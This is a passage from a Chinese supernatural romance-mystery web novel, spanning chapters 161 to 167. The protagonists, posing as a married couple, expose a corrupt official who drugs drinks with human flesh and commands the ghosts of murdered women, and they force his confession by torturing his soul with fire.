原本他的记忆到这就停下了。 不过现在,后面的又全都想起来,他闻到那抹香气之后,全身都开始发热,他看见裴玲珑披着盖头坐在床上,他头重脚轻的走了过去,掀开她的盖头。 裴玲珑大概说了些他怎么醉成这个样子的话,立刻起身去给他倒杯茶解解酒。 他喝了裴玲珑递过来的茶,身上的热没有消失,反倒燥意上涌。 裴玲珑扶着他上了床,他那会的视线都开始模糊,大概本能驱使,他想要离开这里,可手却碰到身边光滑细腻的肌肤…… “王爷,春宵一刻,好好享受。”裴玲珑在他耳边低声道,随即便放下床幔,转身离开了。 床上的女子,双目紧闭,显然是昏迷的状态。 想到这,白锦夜的手紧紧地握成拳,所以当时,他和裴清歌确实都被人算计了。 醒来后,裴清歌试图解释,然而他也根本没有给她机会。 他直觉裴玲珑不会毁掉自己的婚事,不是他,不是裴玲珑,那就只能是裴清歌了。 他那时又怎么会想到,身为新娘子的裴玲珑会亲手策划这一切? * 裴清歌沐浴完出来的时候,就见白锦夜坐在软塌上,双手握拳放在膝上,脸色微红,喉结滚动,像是在压抑着什么。 她拿起梳子,一边梳头发一边开口道,“你今天对月舞姑娘那般避嫌,我还以为你听到我在沐浴,不会进来呢。” 白锦夜睁开眼睛,气息有些不稳,他站起身,快步向外面走,但走了几步,又停了下来,他背对着裴清歌,隔了半响,才问,“你之前说,真正的裴清歌,那天晚上就死了。” 裴清歌不知道他为什么会突然提起这件事,但还是回道,“是。” “是我害死了她。”白锦夜低声道。 裴清歌微微皱了下眉头,上一次她和白锦夜提起这件事,但还没说完,她的身体就出现异样,也就没有再继续说下去,顿了会,她才开口,“这件事另有隐情。” “你不必安慰我。”白锦夜转身看她,“你有她的记忆,是么?” 裴清歌点了点头。 “所以那天晚上,我对她的态度有多恶劣,你也应该知道,若不是我,她就不会死。”白锦夜吸了一口气,“我欠她的。”说完便转身要走。 “白锦夜。”裴清歌叫了他一声,上前拉住他的胳膊,把他拉到软塌边坐下来,思索了会,才道,“我师父曾经给我留下过一些话,她三年多之前,曾到过洪都,那时她受了伤,在一处废宅……就是上次你见孟彦的那个废宅里养伤。” “有一天,原来的裴清歌见到裴玲珑鬼鬼祟祟的出门,她就跟了上去,但是跟到那个废宅,就跟丢了,却意外发现我师父,于是便开始给我师父送药送饭。” 白锦夜微微点点头,“应该是裴玲珑故意把她引到那个宅子,之后孟彦也露了行踪给孟夫人,孟夫人便去捉奸,孟彦承认自己和裴……和她通奸,在孟夫人看来,自然就做实了这件事。” 看样子,白锦夜上次去洪都,也应该是知道了些细节,裴清歌也就继续往下说,“但其实我师父见到她的第一眼,就知道她的寿元到了,如果没有我师父,她应该会被孟夫人把热油灌下去,当场毙命。师父当时已经在筹划一些事情,于是她用自己十年的阳寿换原来的裴清歌多活三年。” “你和裴玲珑大婚那日,我坠落悬崖身亡,师父换她多活三年,就是为了等到把我引来的这一天,我来了,她就只能死去,所以即便没有那天你和她之间的事情,她也会死。” 白锦夜垂下眼,“就算是这样,就算她也会死,起码不是因为我。” 裴清歌看着他,轻轻地叹了口气,“事情原委就是这样,只看你怎么想了。如果没有我师父的安排,害死她的就是裴玲珑和孟彦。你们大婚那天,也是裴玲珑一手安排,但她死前极度自责,是以为自己破坏了妹妹的婚事,没脸面对父母和妹妹。可若是没有裴玲珑的安排,她也不会出现在王府。” “那若是……我对她的态度好些呢?”白锦夜又问。 裴清歌皱着眉头想了会,“你对她的态度好与不好,她都认为是自己破坏了妹妹的婚事。不过不管怎么说,她的命就到那天,哪怕什么都没发生,她可能走路摔一跤,或者睡着睡着觉,人就没了。” 白锦夜没再说话,隔了好半响,才抬眼看向裴清歌,“若是你到了王府之后,我对你也好些呢?现在你是不是不会对我这样疏离?” 第162章 我有了身孕 裴清歌看了白锦夜,站起身,往床边走,“我没有对你疏离。” 白锦夜看着她,没有说话。 裴清歌坐在床上,靠在床头,“只不过你还当我是原来的裴清歌,但我从来没有把自己当过她。” “可如果你不说,在我眼里,也就是一个人。”白锦夜皱了下眉。 “是啊,你没有和原来的裴清歌相处过,你根本不知道她是什么样的人。”裴清歌看着绑着床幔的绳穗,“我有她的记忆,我顶着她的身份,也该承担她该承担的责任,我没有办法和她原来的生活完全割裂,我要考虑云夫人,考虑她的家人。” “如果她没死,我没来,你也会给她名正言顺的身份,那你也应该算是她的家人。” “那天晚上的事情,我隐约能感受到,虽然当时我还没来,但那感觉是真实的,可即便如此,白锦夜,我也生不出任何和你亲近的心思。” “其实也不只是你,对云夫人,我也只是出于责任,我不想让她知道她的女儿已经不在了,我不想看到她伤心。但是在这世上,真的能被我当做家人,愿意亲近的,也就只有师父、鬼卿和阿鸢。” “你不用对原来的裴清歌或者是我,有什么愧疚。如今你也不再受寿元的限制,能好好的活下去,也该考虑自己的事情,若是有心仪的女子,也不用担忧什么。” 说完裴清歌闭上眼睛,“等弄清楚了张家的事情,我就会带着阿鸢离开,到时候我们也不会再见了。” 白锦夜几次张口,可话到了嘴边,却怎么都说不出来,隔了很久,他才问道,“那血莲呢?不养了么?” “当时控制你去刺伤皇上的时候,我就没打算再养血莲了。”裴清歌回了句。 “不养会有什么后果么?”白锦夜又问,“上次你全身发疼,后来突然昏迷,如果没有我的血,会怎么样?” 裴清歌轻笑了一声,“反正你现在冥尸,不也一样没有你的血了么?” “可总会有办法。”白锦夜皱起眉头,“若是我有办法让自己流血,血莲你还养么?” “不养了。”裴清歌的眉心微微皱了一下。 “我懂了。”白锦夜垂下眼。 裴清歌没再说话,抬手挥了挥,绑着床幔的绳穗被解开,床幔落了下来。 “若你有想做的事,也不用顾虑太多。”半响后,白锦夜开了口,“她的家人,我会照料,权当是我欠她的。” “好。”裴清歌应了一声。 白锦夜抬手熄了灯,房间里陷入一片黑暗,除了呼吸声,便再没有其他的声音了。 * 第二日白锦夜一早起了床,便陪着张太妃去寺里礼佛了。 他不在,冷鸢倒是开心不少,跟裴清歌在城里逛了半天,又买了些不少女儿家的小东西。 傍晚的时候,白锦夜才回来,回房换了身衣服,便跟张之极和裴清歌一起出门赴宴。 他们到的时候,白锦夜的表哥张铭锐和府丞沈易安已经在了。 两个人正坐在一旁的茶桌边喝茶。 见张之极三人进来,便起身迎了过来。 “张将军。”沈易安拱了拱手。 “久等了。”张之极开口道。 “哪里,我们也刚到。”沈易安说着带着张之极往桌边走,“这些日子,府上的事应该都安排的差不多了吧?若是有什么事,可一定要跟我说,千万别见外。” “差不多了。”张之极点点头,“以后在复州,就要多仰仗沈大人了。” 沈易安笑了笑,才看向张之极的身后,“这两位是……” “哎。”张之极先是叹了口气,“我家前些年出了变故,子嗣无存,这是我当年在战场的上救过的一个孩子,便认了干亲戚,以后可就靠我这干孙子养老了。”他说着抬手拍了拍白锦夜的肩膀。 “怎么称呼?”沈易安又问。 “张璟成。”白锦夜说着顿了顿,又介绍裴清歌,“这是内子。” “看样子我比你略长几岁,便称呼你璟成了。”沈易安拱了拱手对着白锦夜拱了拱手,“璟成,张夫人,以后在复州,咱们多走动。” 张铭锐便招呼大家入座。 席间,基本都是张之极和沈易安在聊天,沈易安在盛京住过几月,所以会再问问盛京的情况,又说些他在盛京吃过的特色小吃。 再聊些复州当地的风土人情。 酒过三巡,张之极有了醉意,便推脱自己年纪大了,不胜酒力,要早些回去休息,让白锦夜留下陪沈易安再喝几杯。 这自然也是来之前白锦夜提前跟张之极说好的。 着人送走了张之极,沈易安才看向白锦夜和裴清歌,“本来还安排了些歌舞,倒是不知张夫人是否会见怪?” “无妨。”裴清歌轻轻摇了摇头。 沈易安拍了拍手,很快一众歌姬舞姬便进了门,为首的,便是昨日见过的任月舞。 “月舞姑娘是月舞楼的头牌,也是复州第一美人。”张铭锐开口介绍道,“若不是沈大人面子,月舞姑娘可一面难求。” 沈易安的目光落在裴清歌的脸上,“有张夫人在,以后月舞恐怕就不再是复州第一美人了。” 要来赴宴,裴清歌是易了容的,她倒不怕脸上疤痕被人看见,但是有人追究起来,很容易发现她的身份,那白锦夜的身份也就暴露了。 这易容的面具,还是当时楚星玄做的那个,他那个人本来就吹毛求疵,哪怕是易容,也不会敷衍。 “沈大人过誉了。”裴清歌回了一句。 沈易安只是举起酒杯看向白锦夜,“璟成好福气。” 白锦夜喝了杯里的酒,才状似无意地问道,“沈大人的年纪,也该成亲了吧?” 沈易安拿着酒杯的手顿了顿,收起了笑容,把酒杯放在桌上,半响没说话。 张铭锐轻咳了一声,“沈大人,我表弟他刚来复州,恐不知情……” 沈易安摆了摆手,“事情过去这么久了,无妨。”说完他才看向白锦夜,“内子几年前亡故了。” “怪不得……”裴清歌接过了话,“本来祖父说要在府上宴请沈大人,但说是那宅子有沈大人的伤心事。我看那宅子像是荒废了几年,这几年沈大人都没有再去过吧?看样子,沈大人和沈夫人的感情极深。” 沈易安点了点头,“我与她青梅竹马……璟成,可要珍惜眼前人,来,这杯酒敬你和夫人。” 白锦夜端起酒杯,转头看向裴清歌。 却见裴清歌推开了面前的酒杯,换了茶杯。 她端着茶杯笑道“可惜我不能喝酒。”说着她看向白锦夜,“我有了身孕。” 第163章 泡过人肉的酒和茶 白锦夜当然知道裴清歌没有身孕,她这么说,无非是任月舞说过,沈易安的妻子去世时有着身孕。 她是想要试探什么。 沈易安怔了下,才道,“这是喜事,那璟成可要多喝一杯了。” 白锦夜笑了笑,点头应下。 那边张锐铭的脸色微微难看,白锦夜提了沈易安的妻子,裴清歌又说自己有孕了,这两件事简直都是戳沈易安心窝子的大事,他哪知道吃个饭会提到这种事?瞬间开始后悔没有提前跟他们知会一声。 可沈易安看不出来什么不开心的样子,反倒是一直笑着,又招呼那些歌姬舞姬过来一一给白锦夜敬酒,恭喜他要做父亲了。 最后又把任月舞推到白锦夜的身边,让她好好陪着白锦夜。 说完,又像是想到什么,看向裴清歌,“张夫人不会生气吧?” 裴清歌看着他,淡淡地笑了笑,没说话。 沈易安“哈哈”笑了几声,“夫人放心,男人嘛,在外面逢场作戏在所难免,再说,月舞姑娘卖艺不卖身,也就是陪着璟成喝两杯。” 任月舞当然认出了白锦夜,但她也不敢多话,沈易安说完,她就赶紧给白锦夜倒酒。 这一圈敬酒喝下来,酒意上头,白锦夜开始有点晕。 沈易安看向张铭锐,“张兄,时候不早了,不如你早些回去吧,璟成在这里玩得开心,我陪着他就是。” 张铭锐并不担心别的,就怕白锦夜和裴清歌乱说,可这会也没办法交代什么了,沈易安这话显然是催促他离开了,他也只能起了身,让白锦夜和裴清歌不要见外,就赶紧离开了。 任月舞又敬了白锦夜两杯酒,转身走到裴清歌的身边,趁着给她倒茶的功夫,轻轻扯了扯她的袖子。 裴清歌侧头看她。 只见她借由掩唇的时候,对她无声地说了两个字——“小心”。 裴清歌收回目光,看了看茶杯,转头看向白锦夜,“你醉了,我们回去吧。” “夫人有身孕,是该早休息。”沈易安开了口,“不如我着人先送夫人回去。”他说着顿了下,看着裴清歌慢慢地道,“夫人不必担心璟成,我陪他再喝几杯,就送他回去。” 白锦夜抬手握住裴清歌的手,看向沈易安,“还是我陪着内子一起回去。” 沈易安嘴角的笑容慢慢消失,“如此,看来是我招待不周了。” 白锦夜皱起眉,眼底闪过一抹不快。 裴清歌反手压住他的手,看着沈易安笑道,“沈大人,我只是担心相公醉酒后会闹事,他向来有这个毛病,喝醉了就吵闹,让人不安生,我怕他吵到大人。” 白锦夜本来觉得,试探沈易安,也该试探够了,有什么事,裴清歌也该看出来了,他可不想看沈易安的脸色。 可听到裴清歌说“相公”这两个字的时候,所有的一切都被他抛到了九霄云外,就想听她再这么叫他一声。 裴清歌不在意他,他躲开她,在寺里念了一天的佛经,心里才微微平和下来。 可就在听到这两个字的时候,心里微微竖起的一点防线也崩溃了。 哪怕明知道裴清歌是演戏给沈易安看。 可是他想,他这辈子还求什么呢?无非不就是能守着自己心悦的人,哪怕她不在乎他,但偶尔有这么一瞬,也足够了。 “哦?”沈易安这才重新露出了一丝笑,“璟成还有这样的毛病?” “是。”裴清歌点点头,“闹到沈大人是其一,稍后回了府里,再闹到祖父就不好了。” “这倒无妨,住处有的是,稍后我给你们安排好住处,明日再回府就是。”沈易安开口道。 “那就有劳沈大人了。”裴清歌笑道。 “月舞,去把我珍藏的酒拿来一坛,我与璟成一见如故,今晚便不醉不归。”沈易安看向任月舞。 任月舞应了一声,看了看白锦夜和裴清歌,脸上露出一丝异样,但也不敢被沈易安察觉,立刻转身走了。 很快她就拿了酒回来,把酒坛放在桌上。 沈易安也让人把酒杯撤掉,换了酒碗,拍开酒坛,给白锦夜倒了一碗酒,“来,璟成,尝尝我这酒。” “呕。”裴清歌突然捂着胸口反呕起来,呕了半响,她有些歉意地看向沈易安,“抱歉,我最近孕吐严重,这酒的味道有点呛,呕——” 白锦夜轻轻拍着裴清歌的后背,“沈大人,内子身体不适,不然今日就到这吧,改日我做东,咱们再好好喝一场。” 沈易安像是有些扫兴,但也很快道,“无妨,这楼上就是住处,我带你们过去。” 白锦夜扶起裴清歌,跟着沈易安出门上楼,晚上月舞楼热闹非凡,也有不少人认识沈易安,一路上都有人在跟他打招呼。 走到走廊尽头倒数第二间,沈易安停了下来,“璟成,你们便在这休息。”他说着指了指最后一间房,“这也是我临时住所,今日我也留下,你们若是有什么事,便来找我。” “好,沈大人早些休息。”白锦夜说完,便推开门,扶着裴清歌走了进去。 看着门关上,沈易安才转头看向跟在后面的任月舞,“去泡壶茶,给他们送进去。” 任月舞有些迟疑,顿了顿才问,“是要……那个茶么?” “不然呢?”沈易安眯了眯眼,眼底闪过一抹厉色。 任月舞咽了口口水,点点头。 “送了茶,来找我。”沈易安说完,推开旁边的房门,走了进去。 任月舞的身体轻轻颤抖一下,愣了会,才转身去泡茶了。 很快,任月舞就送了茶过来,她把托盘放在桌上,对着裴清歌道,“这是解酒茶,稍后让张公子喝些,就不会这样难受了。” 裴清歌点点头。 任月舞也没有停留,转身走了。 裴清歌走到桌边,见到茶壶旁边放着一张纸条,上面只有四个字——“隔墙有眼”。 隔壁,就是沈易安。 也就是说,他不只是能听见他们这边的声音,甚至还能看见。 裴清歌抬手倒茶,茶水从茶杯里溢出来,浇湿了纸条,字迹被晕开。 这茶的味道,和那酒如出一辙。 是泡过人肉的。 第164章 另择良木 裴清歌回到床边,放下床幔。 白锦夜靠在床头坐着,她靠在床尾。 “你还有什么不清楚的么?”白锦夜抬手揉了揉眉心,压低了声音问道。 “这件事,看起来比想象的复杂。”裴清歌微微抿了抿唇,“之前看他的轿子周围黑气缭绕,我还以为他是恶鬼缠身,但是今日见他,那恶鬼倒像是他养的,之前花月舞说没有办法靠近他,可能跟这恶鬼有关系。” “既然这恶鬼是保护他的,那先除了恶鬼不就好了么?”白锦夜又问。 “最好能把他引到郊外人烟稀少的地方,我怕他负隅顽抗,把阴气散出来,会伤害到普通人。”裴清歌微微眯了下眼,也不知道这样的邪术沈易安是从何处得知。 沉默了会,裴清歌看向白锦夜,“把他引到人少的地方,恐怕就得靠你了。” “我?”白锦夜皱起眉头。 * 任月舞进了沈易安的房间,见他坐在桌边喝茶,她往前走了几步,跪在他面前,轻轻地帮他捶腿,“大人。” 沈易安放下茶杯,抬手捏住她的下巴,“昨日,那张公子就来过了?” “是。”任月舞点点头。 “他来,都做了什么?”沈易安又问。 “没,没做什么,听了听曲,让奴家跳了支舞。”任月舞回道。 “跟谁来的?”沈易安眯了眯眼。 “和另外一位没有透露姓甚名谁的公子,看着眼生。”任月舞低声道。 沈易安像是思索了半响,正要再说话,便听到隔壁房间传来瓷器碎掉和桌椅被碰倒的声音。 他站起身,走到墙边,从极为隐蔽的小孔向对面看去。 便见白锦夜像是在耍酒疯,踢踢打打,又跌跌撞撞地往外走,裴清歌拉也拉不住,就赶紧跟了上去。 沈易安皱了下眉,拉开房门走出去,裴清歌也刚好出了门。 她往白锦夜离开的方向看了一眼,又有些歉意地看向沈易安,“沈大人,真是抱歉,我相公他喝点酒就这样,扰到你了。” 说完就急匆匆地跟着白锦夜往外走。 沈易安眯了眯眼,也跟了上去。 白锦夜刚一出门,就碰见了楚星玄和冷鸢。 他微微皱了下眉头,一把推开楚星玄,继续摇摇晃晃地往外走。 冷鸢也跟着嫌弃地让开身,“喝成这样,真是丢人现眼,我们……我们家小姐呢?” 白锦夜没搭话。 冷鸢脸色难看,正要上去拦,就听到裴清歌略微夸张的声音传过来—— “相公!” 冷鸢整个人都一滞,一转头,便见裴清歌对她使眼色,她当即会意,拉着楚星玄退到一边。 裴清歌追着白锦夜往前走,片刻后,沈易安就跟了出来。 冷鸢侧目看着沈易安,也明白了什么,扯着楚星玄的袖子,“咱们悄悄的跟上去。” “我就说不会有什么事,你非要过来看。”楚星玄有点无奈,“你们家圣女精着呢,谁能在她身上占到便宜?” 冷鸢不理他,悄悄的在几人后面跟了上去。 白锦夜对复州也不算熟悉,不过就是今天出城了一次,这月舞楼又在城正中心的位置,想要出城去城郊,可要走很远的路。 好在昨日他从雅间往外看风景的时候,记得翡月湖的下游有一小片树林,于是他也就往那个方向走去。 进了树林,又往前走了一段,白锦夜才靠着一棵树停了下来。 裴清歌追过去,伸手扶住他。 “城外太远了。”白锦夜低声道,“若是太刻意,他肯定会有所察觉。” 裴清歌四下观察了下,这里没什么人,也算是个不错的选择了。 很快沈易安也跟了过来,他在不远处先停了下,看了会白锦夜一身的醉态,才慢慢地走过来,“璟成,喝点酒就闹事可不是什么好习惯。” 裴清歌转头看过去,“他每次都这样,我已经有经验了,我来照顾他就可以了,已经这么晚了,沈大人还是早点回去歇着吧,不要耽误了明天的公事。” 沈易安的脚步也没停,他一直走到裴清歌的面前,这一次目光就完全不在白锦夜的身上了,“这样的男人,跟着他有什么意思?” 裴清歌警惕地看着他,“沈大人这话是什么意思?” 沈易安轻笑了一声,“别以为我不知道,张将军告老还乡,是因为肃亲王死了,而肃亲王死之前,意图谋反。皇上法外开恩,没有追究其他人,张将军也只能辞官。可皇上今日不追究,那明日呢?张家可没有任何前途了。” “你跟着他,也要提心吊胆,万一哪天皇上不高兴,想要清算,张家一个人都跑不了。” 裴清歌微微抿了抿唇,“多谢沈大人好心提醒。” “在这复州,若是想过好日子,夫人恐怕要另择良木。”沈易安又道。 裴清歌往后退了一步,“沈大人,我与相公青梅竹马,他虽然喝酒之后会闹事,但他其实很少喝酒,而且平时对我也很好。若是将来张家真的有事,那我也愿意跟他同甘共苦。” “这世上多少人能同甘,多少人能共苦?”沈易安像是听到了什么有趣的笑话,笑得眼泪都快流出来,蓦地,他的笑声又戛然而止,脸上带了几抹厉色,“若是有好日子,又有谁愿意共苦?” 裴清歌没说话,只是扶着白锦夜,侧头看他,“沈大人可能也喝醉了,我们回家吧。” 她说着扶着他想要离开。 可刚走了几步,就被沈易安抓住手腕,“你长得这样美,跟着一个没有前途的废物简直暴殄天物!跟了我,我让你做月舞楼的头牌,让你尝遍这世上的快乐不好么?” “你疯了吧?”裴清歌拧眉看着沈易安,“我堂堂正正的张家夫人不做,去做月舞楼的头牌?” “到了复州,你以为这由得了你么?做也得做,不做也得做。”沈易安说着目光落在裴清歌的小腹上,“不过你放心,这孩子我会让你生下来的。” 说到腹中胎儿的时候,沈易安的眼底竟闪过一抹温柔,仿佛这孩子是他的一样。 但蓦地,他捏着裴清歌手腕的手顿了下,抬起眼,“你没有怀孕!” 第165章 死气 裴清歌轻笑地看着他,“是啊,怎么?我有没有怀孕,跟你有关系么?” 沈易安脸上顿时布满怒意,“贱人!”他说着扬起手就要往裴清歌的脸上打去。 只不过手还没落下,就被人抓住手腕。 白锦夜眯眼看着他,“沈大人,我夫人是你能随意打骂的么?” 沈易安眸光闪了下,“你没醉!”他说着迅速的抽回手,往后退了几步,“你们是什么人?要干什么?” “是我们要干什么,还是沈大人要干什么?”裴清歌看着他笑道,“我们不过是到了复州,出于礼节,跟沈大人一起吃顿饭,沈大人想把人灌醉,酒和茶都加了料,这就是沈大人的待客之道?” “呵。”沈易安冷笑了一声,“既然你们都知道了,就没必要废话了。” 他的话音落下,身后突然出现了一个巨大的黑影。 黑影不是实体,像是一团黑雾组成。 裴清歌侧头对白锦夜低声道,“这是阴气灵体,普通人沾上一点,轻则生场大病,重则丢了性命,不过你现在的体质,倒也不怕这东西。” 她的话音落下,那巨大的黑影就朝他们两个人扑过来。 裴清歌甩出去一道符咒。 这么大的黑影,就算是随便丢符咒,都应该能贴中的。 可是眼见着那符咒靠近,黑影一下子就散开了,变成了很多小团的黑雾。 符咒也就落了空,轻飘飘地落在地上。 裴清歌轻轻皱了一下眉头,但又很快想明白,“看样子,这阴气灵体就是当初‘百女宴’上,那九十九个女子的魂魄组成的吧,没想到你把它们炼化成这个样子。” 沈易安也不说话,只是后退了几步,看着这些黑影去攻击白锦夜和裴清歌。 “去帮忙。”冷鸢和楚星玄本来是躲在远处,见状立刻开口道。 “这种事是你们拿手的,我怎么帮忙?”楚星玄摇了摇头,这东西又不害怕蛊虫,他能做什么?上去当靶子么? “我和圣女收拾这东西,不多这东西太多,可能顾不上沈易安,你看好了别让他趁乱跑了。”冷鸢无语地看了眼他。 “这种事……用得着我?”楚星玄想说白锦夜又不是个摆设,但是实在懒得跟冷鸢掰扯,他要是能掰扯得过她,也就不用大半夜的不睡觉,陪着她去月舞楼找“可能被白锦夜占便宜”的裴清歌了。 冷鸢正要出去,就见裴清歌从袖子里拿出一样东西,在嘴边轻轻地吹了下,她怔了一下,虽然看不清,可凭着感觉,她也知道那肯定是锁魂玉笛! 没有人听到笛声,不过所有的阴气灵体都停止了攻击,随即像是受到了什么召唤一般,全都涌进锁魂玉笛。 锁魂玉笛不过掌心大小,裴清歌虚握着它,离远了些,只能看见它们钻进了裴清歌的掌心。 沈易安不知道发生了什么事,但他能感觉到,那黑影跟他全都失去了联系。 他咬了咬牙,裴清歌这么轻易地化解掉黑影的攻击,他当然不可能是她的对手,于是从怀里掏出一样东西,就朝裴清歌和白锦夜的方向扔了过去。 圆球一样的东西在两个人面前炸响,随即一股黑气快速的弥漫开。 裴清歌快速退了两步,白锦夜见那圆球炸响的时候,也迅速上前抬手护住她,可那黑气还是有几丝顺着她的七窍钻了进来,她的身体瞬间僵直无法动弹。 白锦夜抬手挥了挥,可那黑气弥漫在周围,消散的速度极慢,他低头看了看裴清歌,只见她双眼紧闭,脸色微白。 这黑气不知道是什么,他没什么事,但是对裴清歌的影响却好像极大。 左右沈易安露了马脚,跑也跑不远,他抱起裴清歌打算先离开再说。 沈易安扔出那个圆球之后,转身就准备跑,可刚跑出去两步,就突然痛苦的跌倒在地上,手在身上胡乱地抓着,却又什么都抓不到。 冷鸢往前跑了几步,但又赶紧停下了脚步,顺手拦住楚星玄,“别靠近,是死气。”虽然并不愿意和白锦夜说话,可此时她也没有别的选择,“你赶紧把她带出来。” 倒也不用她说,白锦夜已经带着裴清歌从黑气的包围里走了出来。 白锦夜眯着眼,扫了眼地上打滚的沈易安,才看向冷鸢,“她好像晕过去了。” “没事,死气和空气相克,稍后就会醒过来。”冷鸢说着脸色也有些凝重,上前踹了沈易安一脚,“你从哪弄来的这鬼东西?” 沈易安只顾着抓自己的身体,并没有闲暇的精力回答她的话。 冷鸢只能看向楚星玄,“把你的蛊收一收。” “你这个丫鬟,天天说话比你主子都硬气。”楚星玄也不乐意了,折腾了半宿,被一个侍女指挥来指挥去的。 “我家小姐好说话,我也像她一样好说话,不是更要被人欺负了?”冷鸢拧了拧眉。 楚星玄不敢苟同,又摸出了一条虫子,往裴清歌的脖子上放去。 “你要干什么?”白锦夜赶紧躲开。 “等死气自己散了得等到什么时候?”楚星玄手里捏着虫子,“要不要?不要算了,按照刚才那种浓度,有个三五天,人也就醒了。” 白锦夜沉默了会,没再动。 楚星玄把虫子放在裴清歌的脖子上,立刻便有丝丝黑气朝虫子的身上汇聚,没一会,白白胖胖的虫子就变成了黑色。 裴清歌睁开眼睛,本能地抬手去抓脖子上的虫子。 “诶。”楚星玄眼疾手快的把虫子拿开,小心翼翼地放起来,“咱们现在出来了,我这虫子用一条少一条,你可别不小心把它捏死了。” 裴清歌的眼里闪过一抹厉色,起了身几步走到沈易安的面前,“哪来的死气?说!” 沈易安依旧在地上打着滚没有说话。 裴清歌眯了眯眼,弯腰一手抓住他的衣领,另一只手在他的脸上抹了下,随即一甩手。 楚星玄赶紧伸手接住他的宝贝,又看向冷鸢,“不会好好说话,就多会点本事,这样不就不用求人了?” 冷鸢瞥了他一眼,懒得理他。 “说不说?”裴清歌又问。 沈易安笑着看着裴清歌,就是一个字都不说。 “你可别后悔!”裴清歌放开手,往后退了一步,随手一招,一个透明的沈易安就从他的身体里被招了出来。 第166章 死了都让人不得安生 沈易安似乎也没想到会这样,他低头看着自己透明的身体,又转头往后看着另外一个自己躺在地上,他抬手摸了摸自己,手从身体的身体里穿了过去,“我这是……死了?”说完也不等别人确认,又看向裴清歌,“哈哈哈,活着我都不会说,死了我更不会说了。” “那可由不得你。”裴清歌说着一抬手,手心翻出一抹火焰,“对付活人,也不过就是拷打,只要骨头硬一点,倒是不怕,但是你恐怕不知道,魂魄受刑是什么滋味。” 她手里的火焰慢慢地靠近沈易安的魂魄。 沈易安起初不以为意,但当那抹火焰碰到他的时候,一声撕心裂肺的嚎叫就从他的嗓子里钻住来。 楚星玄慵懒地靠在树上,看着冷鸢,“你说说,谁能欺负得了你主子?” 冷鸢依旧没说话。 “只不过没动气而已,真生气了死了都能让人不得安生”楚星玄说着瞄了白锦夜一眼,“你说是吧?平时只是不跟你们这些凡夫俗子一般见识而已。” 白锦夜微皱了下眉头,自然明白他说的是什么,裴清歌刚到王府的时候,只是不跟他们一般见识,不然随随便便一点术法,都够王府的人喝一壶。 他转头看向楚星玄,“你若是没什么事,不如回去睡觉吧。” “那可不行,都到这了还不看下去,那我不是白来了?”楚星玄轻哼了一声,不说话了。 业火烧魂魄之痛,这世上没有任何人能抗得过去。 几息之后,沈易安便开始求饶,“你直接烧死我让我魂飞魄散吧!” “那怎么行?”裴清歌轻笑,反倒把火苗收小了一些,“你不说死气是哪来的,我就这么烧着你,你的魂魄被烧毁了些,我就亲手帮你补上,你永远都不会魂飞魄散。” 沈易安又嚎叫了几声,甚至不知道他一旁的身体是不是都有了感应,也跟着抽搐起来,“我说,我说!你想知道什么,我都说!” “早点说不就好了。”裴清歌把火焰撤开了些,“那就说吧,从头开始说,要是我觉得哪里有问题,就证明你是记错了,那我就会帮你好好想想。” 沈易安打了个颤儿。 裴清歌松开对他魂魄的禁锢,他的魂魄一下子就坐在了地上,似乎刚才的疼痛已经把他魂魄的力气都抽干了。 他坐在地上哆嗦了半响,才开口道,“我老家,家里附近有个寺庙,那庙里只有一个老和尚,他年纪很大,我爷爷说在他年轻的时候,那老和尚就是那般样子,几十年过去,那老和尚依旧如此,是得了佛祖庇佑,快要成佛了。” “我家有些薄财,这么多年,寺庙里所需的一切,都是由我家供应,我小时也经常去那寺庙,那老和尚说与我有缘,便教了我些粗浅的术法。” “但我有一次去寺里,偷偷的看到他在炼化一只女鬼,炼化之后,他好像整个人都年轻了一些,我才知道他是长生有术。” “可他只愿意教我一些很简单的术法,变个果子,隔空引火这一类的,我想学习高深的术法,他也不肯教我。一直到几年后,我在寺庙里翻到一本古籍,那上面记载了很多术法,如何御鬼,如何养鬼,我便偷偷地按照古籍上学了起来。” “后来我进京赶考,当了状元,做了刺史,娶了青梅竹马心爱的女子,除了有个该死的妓女纠缠我以外,人生也算是圆满了。” “刺史快期满时,我妻子有了身孕,我知道养鬼这种事有损阴德,既然有了孩子,我也不打算再养了,而且也跟我妻子商量着,回到离老家近一些的地方做官。可我没想到……” 沈易安说着面容开始变得扭曲,“那孩子竟然不是我的!哈哈哈,我心爱的、一直捧在手心的女人,她竟然背叛了我!我身为刺史,行使监察之职,偶尔会离开复州城出公差,最多也不过几天而已,她就寂寞难耐……她怀了别人的孩子,甚至都不知道那孩子是谁的,她还妄想生下来,假装是我的儿子!” “我怎么会给别人养孩子呢?我怎么会允许她背叛我?我要让她和孩子,永世不得超生!我要让那些碰过她的男人,一口一口的把她的肉全都吃下去。她想跟那些狗男人在一起,那就永远在一起好了!” 裴清歌微微皱了下眉头,开口问道,“那花月舞呢?” “花月舞?”沈易安冷笑一声,“那就是个疯婆子,我当年路过复州,被几个书生邀约,去月舞楼喝酒,她要对诗作画,我堂堂状元之才,跟一个妓女对诗作画,岂不是自降身价?随手糊弄的诗句,她当时也不见得多上心,等我中了状元,又说这成了佳话,呸!我若是没中状元,她恐怕都不记得我了吧?” “也不看看自己是什么身份,一个贱胚子,还想做状元夫人?” “所以,你就利用她,杀了你妻子是么?”裴清歌开口问道。 “是啊,我大好前途,怎么能折在这些狗男女身上?有人替我动手,我求之不得呢,她杀人的时候,我又不在复州,等我回来,一切都已经成了定局,人们只会同情我。”沈易安又是一阵低笑。 “那些被烧死的姑娘呢?她们又做错了什么?”裴清歌看着状若疯癫的沈易安,看样子他早就因为养鬼,性情变得阴暗不堪了。 “她们?她们都该死,不守妇道的女人都该死!那些男人也一样,我要他们全都不得好死!那些姑娘的魂魄都被我控制,我买下了月舞楼,让她们附在其他姑娘的身上,人怎么会有鬼勾人呢?那些家里明明已经有了三妻四妾的男人,还要来招妓!那我就让这些鬼姑娘好好伺候他们。” “那些男人都被迷得神魂颠倒,月舞楼的生意越来越好,我就要眼睁睁地看着他们一个两个全都死在这事上!”沈易安说着脸上也泛起狠色。 “女子体质本就阴寒,总是被鬼魂附体,怕是也不长命。”裴清歌继续道,“那些月舞楼的姑娘死了以后,就被你泡酒泡茶了?” “是啊。”沈易安说着看向白锦夜,“我加了料的酒和茶,他们越喝越上瘾,别的地方又找不到,只能不停的来月舞楼,他们身体越来越虚弱,可还是戒不掉,还是要来,能怪谁呢?” “放心吧,他没喝。”裴清歌看了他一眼,“说说死气的事吧。” 第167章 凌迟刀 